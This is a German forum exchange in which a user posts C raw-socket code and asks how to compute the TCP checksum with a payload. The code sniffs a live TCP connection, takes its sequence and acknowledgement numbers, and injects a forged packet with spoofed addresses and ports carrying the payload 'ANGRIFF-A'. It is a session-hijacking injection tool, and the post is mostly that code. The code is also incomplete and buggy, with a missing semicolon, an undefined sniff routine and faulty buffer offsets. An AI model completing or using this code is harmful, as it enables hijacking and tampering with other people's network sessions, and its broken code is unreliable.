Haste mal 'n Code-Schnipsel vom dem, was nich geht? Und eventuell 'ne Fehlermeldung/Beschreibung? Das is nämlich wieder so'ne Frage a'la: "Mein Auto fährt nicht. Wieso?"
ja das habe ich: Also das mit dem Payload habe ich hin bekommen, Aber jetzt: wie soll ich die Checksumme bestimmen. Ich habe da eine Checksum-Quell Code geklaut und versucht azupassen aber bei IP ist es okay und bei TCP ist nicht, wege Payload. Guckst du vieleicht findest du was. Meine Erfahring in C ist nicht so gross:
Also meine Frage wie soll ich richtige Checksum von TCP mit payload richtig bestimmen:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <linux/if.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#define MAX_FILELEN 2048
#define FLAG_LEN (6 * 3) + 5 + 1
#define ERR_FAILURE 1
#define OUTPUT_STREAM stdout //Standardausgabe
///////////////////////////////////////////////////SNIFF Variablen//////////////////////////
int open_eth( char *dev); //Oeffnet ETH Interface
int read_eth( int); //Liest von ETH Interface
int print_info( FILE *); //Speichert die Daten
int print_tcp_data( FILE *); //Gibt Datenteil von TCP aus
int print_arp_data( FILE *); //Gibt ARP Datenteil aus
int sniff();
char *host( unsigned long int); //Wandelt Hostnamen(IP) in DNS Namen
char *get_tcp_flags(void); //liefert die TCP Flags
char *get_prot(void); //liefert das Protokoll in ASCII
void print_mac(FILE *file,unsigned char *mac);
void sig_handler(int);
struct pseudo_header{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
char buf[65535];
} pseudo_header;
struct Arphdr
{
unsigned short ar_hrd; /* format of hardware address */
unsigned short ar_pro; /* format of protocol address */
unsigned char ar_hln; /* length of hardware address */
unsigned char ar_pln; /* length of protocol address */
unsigned short ar_op; /* ARP opcode (command) */
unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */
unsigned char ar_sip[4]; /* sender IP address */
unsigned char ar_tha[ETH_ALEN]; /* target hardware address */
unsigned char ar_tip[4]; /* target IP address */
};
struct ethhdr *eth; //ETH Header
struct iphdr *ip; //IP Header
struct Arphdr *arp; //ARP Header
struct tcphdr *tcp; //TCP Header
char read_buf[8345]; //Packet Buffer
static int counter = 0;
u_int16_t tcp_check=0;
u_int16_t tcp_check_tmp=0;
u_int16_t ip_check=0;
u_int16_t ip_check_tmp=0;
//////////////////////////////////////////////////////////////////////////////////////////
struct sockaddr_in to;
struct in_addr addr;
char D_Addr[50];
char S_Addr[50];
char D_Addr_tmp[50];
char S_Addr_tmp[50];
unsigned int s_Port = 0;
unsigned int d_Port = 0;
unsigned int s_Port_tmp = 0;
unsigned int d_Port_tmp = 0;
unsigned int ip_ID;
unsigned int WinSize = 5840; /////////////////////
long int SEQ = 0; ////////////////////
long int ACK = 0;
int raus = 0;
int jack();
/////////////////////////Checksumme-Funktion//////////
unsigned short in_cksum(unsigned short *addr, int count)
{
register long sum = 0;
register unsigned short checksum;
while( count > 1 ) {
sum += *addr++;
count -= 2;
}
if( count > 0 )
sum += *(unsigned char *) addr;
while (sum>>16)
sum = (sum & 0xffff) + (sum >> 16);
checksum = ~sum;
return checksum;
}
////////////////////////////////Die Funktion selber
int jack(){
int s, on = 1;
int bytes = 0,i=0;
char *string,*offset,*flags;
char buffer[1024]
char payload[10]="ANGRIFF-A\0";
raus=1;
sniff();
strcpy(D_Addr , S_Addr_tmp);
strcpy(S_Addr , D_Addr_tmp);
d_Port = s_Port_tmp;
s_Port = d_Port_tmp;
// reset();
printf("Es kommt Paket mit SEQ = %d, und ACK = %d Nummern raus.\n", SEQ, ACK);
/////////////////////////////////////////////////////////////////////////////////////////////
s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (s == -1)
{
perror("socket() failed");
return 1;
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
{
perror("setsockopt() failed");
return 2;
}
ip = (struct iphdr*) buffer;
tcp = (struct tcphdr*) (buffer + sizeof(struct iphdr));
memset(ip, 0, sizeof(struct iphdr));
memset(tcp, 0, sizeof(struct tcphdr));
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + sizeof(payload));
ip->id = random();
ip->ttl = 64;
ip->protocol = IPPROTO_TCP;
ip->saddr = inet_addr(S_Addr_tmp);
ip->daddr = inet_addr(D_Addr_tmp);
tcp->source = htons(s_Port_tmp);
tcp->dest = htons(d_Port_tmp);
tcp->seq = htonl(SEQ);
tcp->ack_seq = htonl(ACK);
tcp->psh = 1;
tcp->ack = 1;
tcp->doff = 5;
tcp->window = htons(WinSize);
///////////////////////////////////////////////CHECk Sum/////////////////////////////////////
bytes = ntohs(ip->tot_len) - ip->ihl*4 - tcp->doff*4;
string = (char *)malloc(bytes+1);
if(!string)
return 0;
strncpy(string, payload + (sizeof(*eth) + (ntohs(ip->tot_len)- bytes)),bytes);
strcpy(string+bytes,"\0");
printf("STRING : %s\n", payload);
tcp_check_tmp = tcp->check;
ip_check_tmp = ip->check;
tcp->check=0;
ip->check=0;
pseudo_header.source_address = ip->saddr;
pseudo_header.dest_address = ip->daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
memset(pseudo_header.buf,0,ETH_FRAME_LEN);
pseudo_header.tcp_length = htons(ntohs(ip->tot_len) - (ip->ihl * (32/8)) );
bcopy((char *)tcp, (char *)&pseudo_header.tcp, ntohs(ip->tot_len) - (ip->ihl * (32/8)) );
//berechnet checksummen
ip_check = in_cksum((unsigned short *)ip, ip->ihl * (32/8) );
tcp_check = in_cksum((unsigned short *)&pseudo_header, ntohs(ip->tot_len) - (ip->ihl*(32/8)) + 12);
tcp->check = tcp_check;
ip->check = ip_check;
//////////////////////////////////////////////////////////////////////////////////////////////
memset((void *)&to, '\0', sizeof(to));
to.sin_addr.s_addr = ip->daddr;
to.sin_family = AF_INET;
addr.s_addr = ip->saddr;
to.sin_port = tcp->dest;
////////////////////////////////////////////////////////////////////////////////////////////////
strcpy(&buffer[40], payload);
bytes = sendto(s, buffer, ntohs(ip->tot_len), 0, (struct sockaddr *)&to, sizeof(to));
if (bytes == -1)
{
perror("sendto() failed");
return 1;
}
fflush(stdout);
printf("GESENDET \n");
return 0;
}